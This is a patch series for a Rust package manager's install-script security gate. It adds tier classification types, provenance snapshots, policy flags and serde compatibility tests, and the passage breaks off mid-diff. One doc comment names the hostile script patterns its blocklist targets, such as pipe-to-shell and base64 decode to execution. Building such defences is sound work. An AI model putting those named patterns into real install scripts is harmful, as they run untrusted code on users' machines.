From 474fc5926b0465aefab45e2da2f0fbd8602f6ae2 Mon Sep 17 00:00:00 2001 From: Tolga Ergin Date: Mon, 20 Apr 2026 23:40:33 +0100 Subject: [PATCH 01/61] =?UTF-8?q?feat(phase-46):=20P1=20schema=20extension?= =?UTF-8?q?s=20=E2=80=94=20StaticTier,=20ProvenanceSnapshot,=20BlockedPack?= =?UTF-8?q?age=20fields?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds the persisted-schema primitives for Phase 46's tiered triage gate (plan §6). No BUILD_STATE_VERSION bump: additions are Option with serde defaults, so pre-46 and Phase-46 readers are mutually compatible. New types in lpm-security: - StaticTier enum (green | amber | amber-llm | red), kebab-case wire - ProvenanceSnapshot { present, publisher, workflow, cert_sha256 } BlockedPackage extensions (ownership per §11 field-ownership rule): - static_tier — populated by P2 static classifier - provenance_at_capture — populated by P4 provenance drift - published_at — populated by P1 metadata plumbing - behavioral_tags_hash — populated by P1 metadata plumbing Reader check relaxed !=-> `>` so future minor additions don't invalidate existing .lpm/build-state.json. Bump policy documented on BUILD_STATE_VERSION: only breaking changes warrant a bump. Tests: - StaticTier kebab-case serialization, round-trip, rejection of camelCase + unknown variants - ProvenanceSnapshot full + absent + partial parse + strict equality - BlockedPackage mutual-compat both directions (v1 reader on Phase-46-written file; Phase-46 reader on v1-written file) - Reader rejects state_version > BUILD_STATE_VERSION; accepts equal Full-workspace CI gate: clippy -D warnings clean, fmt clean, 3713/3714 tests pass (1 unrelated perf-threshold flake in lpm-task filter::eval, different test each retry — load sensitivity, not a regression). Co-Authored-By: Claude Opus 4.7 (1M context) --- crates/lpm-cli/src/build_state.rs | 285 +++++++++++++++++- crates/lpm-cli/src/commands/approve_builds.rs | 14 + crates/lpm-cli/src/global_blocked_set.rs | 9 + crates/lpm-security/src/lib.rs | 1 + crates/lpm-security/src/triage.rs | 245 +++++++++++++++ 5 files changed, 546 insertions(+), 8 deletions(-) create mode 100644 crates/lpm-security/src/triage.rs diff --git a/crates/lpm-cli/src/build_state.rs b/crates/lpm-cli/src/build_state.rs index 7976e1a8..dfed97a5 100644 --- a/crates/lpm-cli/src/build_state.rs +++ b/crates/lpm-cli/src/build_state.rs @@ -31,14 +31,36 @@ //! intact rather than producing a half-written file the reader chokes on. use lpm_common::LpmError; -use lpm_security::{SecurityPolicy, TrustMatch, script_hash::compute_script_hash}; +use lpm_security::{ + SecurityPolicy, TrustMatch, + script_hash::compute_script_hash, + triage::{ProvenanceSnapshot, StaticTier}, +}; use lpm_store::PackageStore; use serde::{Deserialize, Serialize}; use sha2::{Digest, Sha256}; use std::path::{Path, PathBuf}; -/// Schema version for [`BuildState`]. Bump on breaking changes; the reader -/// rejects unknown versions to enforce forward-compat. +/// Schema version for [`BuildState`]. +/// +/// **Bump policy:** only on **breaking** changes (field type change, +/// field removal, semantic change of an existing field). Adding new +/// `Option` fields with `#[serde(default)]` is NON-breaking and does +/// NOT warrant a bump — serde silently drops unknown fields on read +/// (the struct is not `deny_unknown_fields`) and missing fields default +/// to `None`. This gives mutual compatibility between readers of +/// different ages without invalidating every existing +/// `.lpm/build-state.json` in the wild. +/// +/// **Phase 46** adds several `Option` fields to [`BlockedPackage`] +/// (static tier, provenance snapshot, publish timestamp, behavioral-tags +/// hash) without bumping this constant. See the plan §6 for the +/// rationale. +/// +/// Reader policy (see [`read_build_state`]): accept anything +/// `<= BUILD_STATE_VERSION`; refuse newer versions (forward-incompatible +/// bumps signal a meaningful schema change that older readers can't +/// interpret safely). pub const BUILD_STATE_VERSION: u32 = 1; /// Filename inside `/.lpm/`. @@ -67,6 +89,15 @@ pub struct BuildState { } /// One entry in [`BuildState::blocked_packages`]. +/// +/// Phase 46 adds the `static_tier`, `provenance_at_capture`, +/// `published_at`, and `behavioral_tags_hash` fields as +/// `Option` with `skip_serializing_if = "Option::is_none"`. This +/// extension is backward-compatible with v1-written state (defaults to +/// `None`) and forward-compatible with pre-46 readers (serde drops +/// unknown fields; no `deny_unknown_fields` on this struct). See the +/// `BUILD_STATE_VERSION` policy comment for the no-version-bump +/// rationale. #[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] pub struct BlockedPackage { pub name: String, @@ -89,6 +120,34 @@ pub struct BlockedPackage { /// current `(integrity, script_hash)`. Distinguishes "first-time /// blocked" from "previously approved, now drifted, needs re-review". pub binding_drift: bool, + + // ─── Phase 46 additions (all optional; see struct doc) ───────── + /// Static-gate classification from Phase 46 Layer 1 (P2). `None` + /// in P1-only state (the field exists but the classifier is not + /// wired yet) and for packages captured with `script-policy = + /// "deny" | "allow"` where classification is not applied. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub static_tier: Option, + /// Publisher-identity snapshot at capture time. Populated by P4 + /// (provenance drift). `None` in P1/P2/P3 state, and for packages + /// whose registry response contains no attestation bundle. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub provenance_at_capture: Option, + /// RFC 3339 publish timestamp as returned by the registry's + /// metadata `time` map for this version. Populated by P1 from the + /// TTL-cached metadata the install pipeline already fetches for + /// the cooldown check. `None` for offline installs or packages + /// whose metadata response omitted the timestamp. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub published_at: Option, + /// SHA-256 of the sorted set of behavioral tags that were `true` + /// on this version's server-computed analysis. Populated by P1 + /// from the metadata the install pipeline already parses. Used by + /// P7's version-diff UI to surface "behavioral tags changed since + /// last approval" without re-fetching metadata. `None` for + /// packages without server-side behavioral analysis. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub behavioral_tags_hash: Option, } /// Result of [`capture_blocked_set_after_install`] — exposes the new state @@ -118,17 +177,31 @@ pub struct BlockedSetCapture { /// Returns `None` if: /// - The file is missing /// - The file fails to parse as JSON -/// - The file's `state_version` is not [`BUILD_STATE_VERSION`] +/// - The file's `state_version` is **newer** than this binary supports +/// +/// Older `state_version` values are accepted: the struct's new optional +/// fields default to `None` via their `#[serde(default)]` attribute, +/// producing a valid [`BuildState`] with degraded but usable content. +/// This is the forward-compat side of the no-version-bump policy +/// documented on [`BUILD_STATE_VERSION`]; the backward-compat side is +/// that absence of `deny_unknown_fields` lets older readers silently +/// drop fields written by newer writers. /// -/// All three failure modes are treated identically: "no previous state". -/// The caller will write a fresh state on the next install. +/// All three failure modes are treated identically by callers: "no +/// previous state". The caller will write a fresh state on the next +/// install. pub fn read_build_state(project_dir: &Path) -> Option { let path = build_state_path(project_dir); let content = std::fs::read_to_string(&path).ok()?; let state: BuildState = serde_json::from_str(&content).ok()?; - if state.state_version != BUILD_STATE_VERSION { + if state.state_version > BUILD_STATE_VERSION { + // Newer file written by a future LPM binary. We can't safely + // interpret its semantics, so treat as missing and let the + // current run write a fresh state. (Next time the newer LPM + // runs, it will overwrite with a newer-version file again.) tracing::debug!( - "build-state.json version mismatch (got {}, expected {}) — treating as missing", + "build-state.json is newer than this binary supports \ + (got v{}, max v{}) — treating as missing", state.state_version, BUILD_STATE_VERSION, ); @@ -273,6 +346,22 @@ pub fn compute_blocked_packages( script_hash: Some(script_hash), phases_present, binding_drift, + // Phase 46 fields — left `None` here because P1 + // defines the schema but the producers live in later + // phases. P1's own metadata-plumbing work (threading + // `published_at` + `behavioral_tags_hash` through the + // capture call) extends this function's signature to + // accept + forward those values; the P2 static gate + // populates `static_tier`; P4 populates + // `provenance_at_capture`. Keeping all four `None` + // here for the schema-only commit preserves the + // existing blocked-set capture behavior byte-for-byte + // (no new JSON keys emitted due to + // `skip_serializing_if = "Option::is_none"`). + static_tier: None, + provenance_at_capture: None, + published_at: None, + behavioral_tags_hash: None, }); } } @@ -412,6 +501,13 @@ mod tests { script_hash: script_hash.map(String::from), phases_present: vec!["postinstall".to_string()], binding_drift: false, + // Phase 46 fields — `None` by default in this helper so + // pre-Phase-46 tests behave unchanged. Dedicated tests + // below exercise the populated path. + static_tier: None, + provenance_at_capture: None, + published_at: None, + behavioral_tags_hash: None, } } @@ -540,6 +636,13 @@ mod tests { script_hash: Some("sha256-bar".into()), phases_present: vec!["preinstall".into(), "postinstall".into()], binding_drift: true, + // Phase 46 fields: left None in this pre-Phase-46 roundtrip + // test so the assertion stays byte-identical to Phase 4's + // original shape. + static_tier: None, + provenance_at_capture: None, + published_at: None, + behavioral_tags_hash: None, }]); write_build_state(dir.path(), &original).unwrap(); let recovered = read_build_state(dir.path()).unwrap(); @@ -1031,4 +1134,170 @@ mod tests { "captured_at must refresh on every install" ); } + + // ─── Phase 46 schema compatibility ───────────────────────────── + // + // The no-version-bump strategy (see `BUILD_STATE_VERSION` doc) + // requires BOTH directions of compat to hold: + // + // 1. A Phase 46 reader on a v1-written file defaults the new + // fields to None via #[serde(default)] (backward compat). + // 2. A v1 reader on a Phase-46-written file silently drops the + // new fields because the struct lacks deny_unknown_fields + // (forward compat). + // + // Both are here so a regression in either direction fails CI. + + #[test] + fn phase46_reader_defaults_missing_fields_from_v1_json() { + // Hand-written JSON as a pre-Phase-46 writer would produce: + // only the v1 fields, no static_tier / provenance / etc. + let v1_json = r#"{ + "state_version": 1, + "blocked_set_fingerprint": "sha256-legacy", + "captured_at": "2026-03-01T00:00:00Z", + "blocked_packages": [ + { + "name": "esbuild", + "version": "0.25.1", + "integrity": "sha512-x", + "script_hash": "sha256-y", + "phases_present": ["postinstall"], + "binding_drift": false + } + ] + }"#; + + let state: BuildState = serde_json::from_str(v1_json).unwrap(); + assert_eq!(state.state_version, 1); + assert_eq!(state.blocked_packages.len(), 1); + + let pkg = &state.blocked_packages[0]; + // All Phase 46 additions must default to None without the + // JSON naming them explicitly. + assert_eq!(pkg.static_tier, None); + assert_eq!(pkg.provenance_at_capture, None); + assert_eq!(pkg.published_at, None); + assert_eq!(pkg.behavioral_tags_hash, None); + + // v1 semantics preserved end-to-end. + assert_eq!(pkg.name, "esbuild"); + assert_eq!(pkg.binding_drift, false); + } + + #[test] + fn v1_reader_silently_drops_phase46_fields_on_read() { + // Simulate a v1 reader by defining a struct that ONLY has the + // v1 fields. A Phase-46-written JSON must parse into it with + // all v1 fields intact; the unknown Phase 46 fields must be + // silently dropped because no `deny_unknown_fields` is in + // effect. + #[derive(Debug, Deserialize, PartialEq, Eq)] + struct V1BlockedPackage { + name: String, + version: String, + integrity: Option, + script_hash: Option, + phases_present: Vec, + binding_drift: bool, + } + + let p46 = BlockedPackage { + name: "sharp".into(), + version: "0.33.0".into(), + integrity: Some("sha512-aaa".into()), + script_hash: Some("sha256-bbb".into()), + phases_present: vec!["postinstall".into()], + binding_drift: false, + static_tier: Some(StaticTier::Amber), + provenance_at_capture: Some(ProvenanceSnapshot { + present: true, + publisher: Some("github:lovell/sharp".into()), + workflow: None, + attestation_cert_sha256: None, + }), + published_at: Some("2026-04-20T00:00:00Z".into()), + behavioral_tags_hash: Some("sha256-ccc".into()), + }; + let json = serde_json::to_string(&p46).unwrap(); + + let v1: V1BlockedPackage = serde_json::from_str(&json).unwrap(); + assert_eq!(v1.name, "sharp"); + assert_eq!(v1.version, "0.33.0"); + assert_eq!(v1.integrity.as_deref(), Some("sha512-aaa")); + assert_eq!(v1.script_hash.as_deref(), Some("sha256-bbb")); + assert_eq!(v1.phases_present, vec!["postinstall".to_string()]); + assert_eq!(v1.binding_drift, false); + } + + #[test] + fn phase46_populated_fields_roundtrip() { + let original = BlockedPackage { + name: "puppeteer".into(), + version: "22.0.0".into(), + integrity: Some("sha512-pp".into()), + script_hash: Some("sha256-pp".into()), + phases_present: vec!["postinstall".into()], + binding_drift: false, + static_tier: Some(StaticTier::Amber), + provenance_at_capture: Some(ProvenanceSnapshot { + present: true, + publisher: Some("github:puppeteer/puppeteer".into()), + workflow: Some(".github/workflows/publish.yml@refs/tags/v22.0.0".into()), + attestation_cert_sha256: Some("sha256-cert".into()), + }), + published_at: Some("2026-04-18T12:34:56Z".into()), + behavioral_tags_hash: Some("sha256-tags".into()), + }; + let json = serde_json::to_string(&original).unwrap(); + let back: BlockedPackage = serde_json::from_str(&json).unwrap(); + assert_eq!(original, back); + } + + #[test] + fn read_build_state_rejects_newer_version() { + // Simulate a future LPM binary writing state_version = 2. + // This binary's reader must refuse and return None (the + // caller will write a fresh v1 state, not mis-interpret v2 + // semantics with v1 types). + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let future_json = format!( + r#"{{ + "state_version": {next_version}, + "blocked_set_fingerprint": "sha256-future", + "captured_at": "2027-01-01T00:00:00Z", + "blocked_packages": [] + }}"#, + next_version = BUILD_STATE_VERSION + 1, + ); + std::fs::write(build_state_path(project.path()), future_json).unwrap(); + + assert!( + read_build_state(project.path()).is_none(), + "reader must refuse files newer than BUILD_STATE_VERSION" + ); + } + + #[test] + fn read_build_state_accepts_equal_version() { + // Sanity check for the `>` comparison: equal version parses. + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let state = make_state(vec![make_blocked( + "esbuild", + "0.25.1", + Some("sha512-x"), + Some("sha256-y"), + )]); + let json = serde_json::to_string(&state).unwrap(); + std::fs::write(build_state_path(project.path()), json).unwrap(); + + let read = read_build_state(project.path()); + assert!( + read.is_some(), + "reader must accept files at the current BUILD_STATE_VERSION" + ); + assert_eq!(read.unwrap().blocked_packages.len(), 1); + } } diff --git a/crates/lpm-cli/src/commands/approve_builds.rs b/crates/lpm-cli/src/commands/approve_builds.rs index 5b8622cd..fea3c646 100644 --- a/crates/lpm-cli/src/commands/approve_builds.rs +++ b/crates/lpm-cli/src/commands/approve_builds.rs @@ -1445,6 +1445,12 @@ mod tests { script_hash: Some(format!("sha256-{name}-hash")), phases_present: vec!["postinstall".to_string()], binding_drift: false, + // Phase 46 fields default to None for these approve-builds + // tests; dedicated tier-aware tests land in P2+. + static_tier: None, + provenance_at_capture: None, + published_at: None, + behavioral_tags_hash: None, } } @@ -2521,6 +2527,14 @@ mod tests { script_hash: row.script_hash, phases_present: row.phases_present, binding_drift: row.binding_drift, + // Phase 46 fields default to None when constructing + // from the `ApproveRow` test helper. The row type + // doesn't carry tier/provenance/etc. yet; when later + // phases need them, extend `ApproveRow` in lockstep. + static_tier: None, + provenance_at_capture: None, + published_at: None, + behavioral_tags_hash: None, }) .collect(); diff --git a/crates/lpm-cli/src/global_blocked_set.rs b/crates/lpm-cli/src/global_blocked_set.rs index 534e6446..445a2df5 100644 --- a/crates/lpm-cli/src/global_blocked_set.rs +++ b/crates/lpm-cli/src/global_blocked_set.rs @@ -282,6 +282,15 @@ mod tests { script_hash: script.map(String::from), phases_present: vec!["postinstall".into()], binding_drift: false, + // Phase 46 fields default to None in global-blocked-set + // test helpers. Global-scope triage is Phase 46.1 (see + // §17); until then these fields remain None through the + // global flow even when the project-scope flow populates + // them. + static_tier: None, + provenance_at_capture: None, + published_at: None, + behavioral_tags_hash: None, } } diff --git a/crates/lpm-security/src/lib.rs b/crates/lpm-security/src/lib.rs index f98c17b8..524376cb 100644 --- a/crates/lpm-security/src/lib.rs +++ b/crates/lpm-security/src/lib.rs @@ -18,6 +18,7 @@ pub mod behavioral; pub mod query; pub mod script_hash; pub mod skill_security; +pub mod triage; pub mod typosquatting; use std::path::Path; diff --git a/crates/lpm-security/src/triage.rs b/crates/lpm-security/src/triage.rs new file mode 100644 index 00000000..a02dd48c --- /dev/null +++ b/crates/lpm-security/src/triage.rs @@ -0,0 +1,245 @@ +//! Phase 46 triage types — static-tier classification + provenance +//! snapshots. +//! +//! These types live here so `lpm-cli`'s `build_state.rs` can persist +//! them on `BlockedPackage` and `lpm-workspace`'s +//! `TrustedDependencyBinding` can persist them on approval entries. +//! All persisted occurrences are `Option` so Phase 46 additions are +//! mutually compatible with pre-46 on-disk state (see the schema +//! comment in `build_state.rs` and Phase 46 plan §6 for the +//! no-version-bump rationale). +//! +//! Ownership of populating these fields is split across phases — see +//! the plan's §11 field-ownership table. P1 defines the types and +//! wires them into the persisted structs; later phases populate them. + +use serde::{Deserialize, Serialize}; + +/// Classification produced by the Phase 46 static-gate matcher (Layer 1 +/// of the four-layer tiered gate). +/// +/// Four tiers, ordered by decreasing trust: +/// +/// - [`StaticTier::Green`] — script exactly matches a hand-curated +/// allowlist of pure local build steps (`node-gyp rebuild`, `tsc`, +/// `prisma generate`, `husky install`, etc.). Under +/// `script-policy = "triage"`, greens are eligible for auto-execution +/// in the sandbox. Classification is populated in P2; auto-execution +/// lands in P6 (hard-gated on the sandbox in P5). +/// - [`StaticTier::Amber`] — script did not fit a green pattern and +/// did not match a red pattern. Deferred to layers 2/3/4 (trust +/// manifest, provenance + cooldown, LLM triage). Network binary +/// downloaders (`puppeteer`, `playwright install`, `cypress install`, +/// `electron-builder install-app-deps`) land here by design (D18). +/// - [`StaticTier::AmberLlm`] — an amber that was approved by an LLM +/// advisor (P8). Persisted with the approver identity so teammates +/// on a different model family re-review (D17). +/// - [`StaticTier::Red`] — script matches the hand-curated blocklist +/// (pipe-to-shell, base64 decode to execution, nested +/// package-manager installs, etc.). Blocks unconditionally; never +/// reaches the LLM. +/// +/// Wire format is kebab-case: `"green"`, `"amber"`, `"amber-llm"`, +/// `"red"`. The kebab form keeps JSON payloads human-readable in +/// `build-state.json` and stable across platforms. +#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq, Hash)] +#[serde(rename_all = "kebab-case")] +pub enum StaticTier { + Green, + Amber, + AmberLlm, + Red, +} + +/// Publisher-identity snapshot captured from a package version's +/// Sigstore attestation bundle. +/// +/// Phase 46 uses this to detect **provenance drift** between a +/// previously-approved version and a candidate version. The axios +/// 1.14.1 compromise is the motivating case: every legitimate v1 +/// release shipped with GitHub OIDC + Sigstore provenance; the +/// malicious v1.14.1 did not. The drift check (§7.2 of the plan) +/// compares the tuple field-by-field. +/// +/// Populated from the Sigstore bundle's leaf-cert SAN. P1 defines the +/// type and the `Option` field placements. P4 +/// wires the actual fetch + parse. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Hash)] +pub struct ProvenanceSnapshot { + /// `true` iff the registry returned a non-empty attestations + /// bundle for this version. `false` indicates "registry has no + /// provenance for this version" — which is the exact axios-case + /// signal when compared against a prior-approved version that had + /// provenance. + pub present: bool, + /// Publisher identity extracted from the Sigstore cert SAN. + /// Typically of the form + /// `github://.github/workflows/@refs/tags/`. + /// `None` when `present == false` OR when SAN parse degraded + /// (degraded but non-fatal; the rest of the drift check still + /// runs on available fields). + #[serde(default, skip_serializing_if = "Option::is_none")] + pub publisher: Option, + /// Workflow file path + ref. Split from `publisher` because the + /// identity cert can name the same repo with a different workflow + /// (e.g., a PR-triggered workflow masquerading as the main publish + /// workflow). `None` when not extractable. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub workflow: Option, + /// SHA-256 of the leaf attestation certificate (DER-encoded). + /// Tie-breaker when `publisher` alone is insufficient — e.g., same + /// org + repo but different ephemeral cert chain. `None` when the + /// cert bytes were not retained (default until P4 wires it). + #[serde(default, skip_serializing_if = "Option::is_none")] + pub attestation_cert_sha256: Option, +} + +#[cfg(test)] +mod tests { + use super::*; + + // ── StaticTier ──────────────────────────────────────────────── + + #[test] + fn static_tier_serializes_as_kebab_case() { + assert_eq!( + serde_json::to_string(&StaticTier::Green).unwrap(), + "\"green\"" + ); + assert_eq!( + serde_json::to_string(&StaticTier::Amber).unwrap(), + "\"amber\"" + ); + assert_eq!( + serde_json::to_string(&StaticTier::AmberLlm).unwrap(), + "\"amber-llm\"", + "AmberLlm MUST serialize as kebab-case 'amber-llm' — this \ + is the wire contract consumed by `approve-builds --json` \ + and by teammate readers; breaking it silently breaks \ + downstream agents" + ); + assert_eq!(serde_json::to_string(&StaticTier::Red).unwrap(), "\"red\""); + } + + #[test] + fn static_tier_deserializes_from_kebab_case() { + assert_eq!( + serde_json::from_str::("\"green\"").unwrap(), + StaticTier::Green, + ); + assert_eq!( + serde_json::from_str::("\"amber-llm\"").unwrap(), + StaticTier::AmberLlm, + ); + } + + #[test] + fn static_tier_roundtrips() { + for tier in [ + StaticTier::Green, + StaticTier::Amber, + StaticTier::AmberLlm, + StaticTier::Red, + ] { + let json = serde_json::to_string(&tier).unwrap(); + let back: StaticTier = serde_json::from_str(&json).unwrap(); + assert_eq!(tier, back); + } + } + + #[test] + fn static_tier_rejects_camel_case() { + // Wire contract is kebab-case only. If someone hand-writes + // `"amberLlm"` or `"AmberLlm"` into a file, we refuse to parse + // it rather than silently misinterpret. + assert!(serde_json::from_str::("\"amberLlm\"").is_err()); + assert!(serde_json::from_str::("\"AmberLlm\"").is_err()); + } + + #[test] + fn static_tier_rejects_unknown_variant() { + assert!(serde_json::from_str::("\"purple\"").is_err()); + } + + // ── ProvenanceSnapshot ──────────────────────────────────────── + + #[test] + fn provenance_snapshot_full_roundtrips() { + let snap = ProvenanceSnapshot { + present: true, + publisher: Some("github:axios/axios/.github/workflows/publish.yml".into()), + workflow: Some(".github/workflows/publish.yml@refs/tags/v1.14.0".into()), + attestation_cert_sha256: Some("sha256-abc123".into()), + }; + let json = serde_json::to_string(&snap).unwrap(); + let back: ProvenanceSnapshot = serde_json::from_str(&json).unwrap(); + assert_eq!(snap, back); + } + + #[test] + fn provenance_snapshot_absent_minimal_json() { + // When `present == false` and the extraction path didn't fill + // in any optional fields, the serialized form should be minimal + // (no `null` keys for the optionals, thanks to + // skip_serializing_if). + let snap = ProvenanceSnapshot { + present: false, + publisher: None, + workflow: None, + attestation_cert_sha256: None, + }; + let json = serde_json::to_string(&snap).unwrap(); + assert_eq!( + json, r#"{"present":false}"#, + "absent snapshot should not emit null keys for optional \ + fields — smaller JSON + less noise in build-state.json" + ); + } + + #[test] + fn provenance_snapshot_partial_parse() { + // Real-world path: attestation bundle parses but the SAN + // extractor only got the publisher, not the workflow or cert + // SHA. The type must accept this degraded input. + let json = r#"{ + "present": true, + "publisher": "github:axios/axios/.github/workflows/publish.yml" + }"#; + let snap: ProvenanceSnapshot = serde_json::from_str(json).unwrap(); + assert!(snap.present); + assert_eq!( + snap.publisher.as_deref(), + Some("github:axios/axios/.github/workflows/publish.yml") + ); + assert!(snap.workflow.is_none()); + assert!(snap.attestation_cert_sha256.is_none()); + } + + #[test] + fn provenance_snapshot_equality_is_tuple_strict() { + // Drift detection (§7.2) hinges on strict tuple equality. + // Any field differing means "drifted." + let base = ProvenanceSnapshot { + present: true, + publisher: Some("github:axios/axios".into()), + workflow: Some("publish.yml@v1.14.0".into()), + attestation_cert_sha256: Some("sha256-aaa".into()), + }; + let differ_publisher = ProvenanceSnapshot { + publisher: Some("github:someone-else/axios".into()), + ..base.clone() + }; + let differ_workflow = ProvenanceSnapshot { + workflow: Some("publish.yml@v1.14.1".into()), + ..base.clone() + }; + let differ_cert = ProvenanceSnapshot { + attestation_cert_sha256: Some("sha256-bbb".into()), + ..base.clone() + }; + assert_ne!(base, differ_publisher); + assert_ne!(base, differ_workflow); + assert_ne!(base, differ_cert); + assert_eq!(base, base.clone()); + } +} From a15cbd3f69aec589cd2cd2a17dd1dbca61a34ac3 Mon Sep 17 00:00:00 2001 From: Tolga Ergin Date: Mon, 20 Apr 2026 23:58:12 +0100 Subject: [PATCH 02/61] feat(phase-46): P1 ScriptPolicyConfig loader + --policy/--yolo/--triage flags MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds the second P1 chunk: consolidated script-config loader, the new policy-mode enum, and the CLI flag surface (plan §5.4 + D22). No execution-semantics change yet — P1 only plumbs the resolved policy through; tier-aware execution lands in P6 after the sandbox (D20). New module: crates/lpm-cli/src/script_policy_config.rs - ScriptPolicy enum (Deny | Allow | Triage), kebab-case wire, serde default = Deny - ScriptPolicyConfig { policy, auto_build, deny_all, trusted_scopes } — one package.json pass for all four script-related keys - collapse_policy_flags(): combines --policy / --yolo / --triage into a single Option, trusting clap's conflicts_with_all for the mutual-exclusion invariant - resolve_script_policy(): full precedence chain CLI > package.json > ~/.lpm/config.toml > default (deny) CLI surface on both `lpm install` and `lpm build`: - --policy=deny|allow|triage (canonical) - --yolo (alias for --policy=allow) - --triage (alias for --policy=triage) Mutual-exclusion enforced at clap layer via conflicts_with_all; invalid --policy values produce an actionable error naming the value and the accepted list. Consolidation: deleted the two ad-hoc script-config readers: - read_auto_build_config (install.rs:5480) → ScriptPolicyConfig.auto_build - read_deny_all_config (build.rs:838) → ScriptPolicyConfig.deny_all Their dedicated tests are removed; equivalent coverage lives in script_policy_config::tests (15 tests: kebab parsing, all-four-keys load, explicit-deny-vs-unset distinction, malformed JSON, invalid value silent fallthrough, full precedence chain). Verified end-to-end: - `lpm install --help` renders all three flags with precedence doc - `lpm install --yolo --triage` → clean clap conflict error - `lpm install --policy=garbage` → actionable message with valid list Full-workspace CI gate: clippy -D warnings clean, fmt clean, 1695/1695 tests pass on touched crates (lpm-security + lpm-cli). The lpm-task filter::eval perf-threshold tests flake under parallel load across the whole workspace; isolated serial re-run passes 168/168, confirming load sensitivity rather than a regression. Co-Authored-By: Claude Opus 4.7 (1M context) --- crates/lpm-cli/src/commands/build.rs | 67 +-- crates/lpm-cli/src/commands/install.rs | 56 +-- crates/lpm-cli/src/main.rs | 102 +++++ crates/lpm-cli/src/script_policy_config.rs | 450 +++++++++++++++++++++ 4 files changed, 579 insertions(+), 96 deletions(-) create mode 100644 crates/lpm-cli/src/script_policy_config.rs diff --git a/crates/lpm-cli/src/commands/build.rs b/crates/lpm-cli/src/commands/build.rs index c41b6518..88101d89 100644 --- a/crates/lpm-cli/src/commands/build.rs +++ b/crates/lpm-cli/src/commands/build.rs @@ -81,8 +81,12 @@ pub async fn run( unsafe_full_env: bool, deny_all: bool, ) -> Result<(), LpmError> { - // Check deny-all: --deny-all flag or lpm.scripts.denyAll config - let config_deny_all = read_deny_all_config(project_dir); + // Check deny-all: --deny-all flag or lpm.scripts.denyAll config. + // Phase 46 P1: consolidated into the ScriptPolicyConfig loader so + // the package.json read is a single pass across all four keys + // (scriptPolicy, autoBuild, denyAll, trustedScopes). + let config_deny_all = + crate::script_policy_config::ScriptPolicyConfig::from_package_json(project_dir).deny_all; if deny_all || config_deny_all { if !json_output { output::warn( @@ -834,25 +838,12 @@ fn warn_stale_trusted_deps(policy: &SecurityPolicy, scriptable_packages: &[Scrip } } -/// Read `lpm.scripts.denyAll` from package.json. -fn read_deny_all_config(project_dir: &Path) -> bool { - let pkg_json_path = project_dir.join("package.json"); - let content = match std::fs::read_to_string(&pkg_json_path) { - Ok(c) => c, - Err(_) => return false, - }; - let parsed: serde_json::Value = match serde_json::from_str(&content) { - Ok(v) => v, - Err(_) => return false, - }; - - parsed - .get("lpm") - .and_then(|l| l.get("scripts")) - .and_then(|s| s.get("denyAll")) - .and_then(|v| v.as_bool()) - .unwrap_or(false) -} +// Phase 46 P1: `read_deny_all_config` was removed as part of +// consolidating script-config reads into +// `crate::script_policy_config::ScriptPolicyConfig`. Callers now +// access `.deny_all` on the loader's return value. The dedicated +// tests below were likewise removed; equivalent coverage lives in +// `script_policy_config::tests`. #[cfg(test)] mod tests { @@ -952,40 +943,6 @@ mod tests { assert!(read_lifecycle_scripts(path).is_none()); } - // ── read_deny_all_config tests ────────────────────────────── - - #[test] - fn reads_deny_all_true() { - let dir = tempfile::tempdir().unwrap(); - std::fs::write( - dir.path().join("package.json"), - r#"{"lpm":{"scripts":{"denyAll":true}}}"#, - ) - .unwrap(); - - assert!(read_deny_all_config(dir.path())); - } - - #[test] - fn reads_deny_all_false() { - let dir = tempfile::tempdir().unwrap(); - std::fs::write( - dir.path().join("package.json"), - r#"{"lpm":{"scripts":{"denyAll":false}}}"#, - ) - .unwrap(); - - assert!(!read_deny_all_config(dir.path())); - } - - #[test] - fn deny_all_defaults_false_when_missing() { - let dir = tempfile::tempdir().unwrap(); - std::fs::write(dir.path().join("package.json"), r#"{"name":"test"}"#).unwrap(); - - assert!(!read_deny_all_config(dir.path())); - } - // ── toposort tests ────────────────────────────────────────── #[test] diff --git a/crates/lpm-cli/src/commands/install.rs b/crates/lpm-cli/src/commands/install.rs index 344e2dce..24cefd6a 100644 --- a/crates/lpm-cli/src/commands/install.rs +++ b/crates/lpm-cli/src/commands/install.rs @@ -2346,7 +2346,11 @@ pub async fn run_with_options( // Step 10: Auto-build trusted packages (after lockfile is written) // Triggers when: --auto-build flag, lpm.scripts.autoBuild config, or ALL scripted packages are trusted - let config_auto_build = read_auto_build_config(project_dir); + // + // Phase 46 P1: consolidated into ScriptPolicyConfig so all four + // script-related keys come from a single read. + let config_auto_build = + crate::script_policy_config::ScriptPolicyConfig::from_package_json(project_dir).auto_build; let all_pkgs_for_build: Vec<(String, String)> = packages .iter() .map(|p| (p.name.clone(), p.version.clone())) @@ -5476,25 +5480,11 @@ pub fn ensure_skills_gitignore(project_dir: &Path) { } } -/// Read `lpm.scripts.autoBuild` from package.json. -fn read_auto_build_config(project_dir: &Path) -> bool { - let pkg_json_path = project_dir.join("package.json"); - let content = match std::fs::read_to_string(&pkg_json_path) { - Ok(c) => c, - Err(_) => return false, - }; - let parsed: serde_json::Value = match serde_json::from_str(&content) { - Ok(v) => v, - Err(_) => return false, - }; - - parsed - .get("lpm") - .and_then(|l| l.get("scripts")) - .and_then(|s| s.get("autoBuild")) - .and_then(|v| v.as_bool()) - .unwrap_or(false) -} +// Phase 46 P1: `read_auto_build_config` was removed as part of +// consolidating script-config reads into +// `crate::script_policy_config::ScriptPolicyConfig`. Callers now +// access `.auto_build` on the loader's return value. Equivalent test +// coverage lives in `script_policy_config::tests`. #[cfg(test)] mod tests { @@ -5584,27 +5574,11 @@ mod tests { assert!(!should_auto_build(false, false, false)); } - #[test] - fn read_auto_build_config_reads_nested_lpm_flag() { - let dir = tempfile::tempdir().unwrap(); - std::fs::write( - 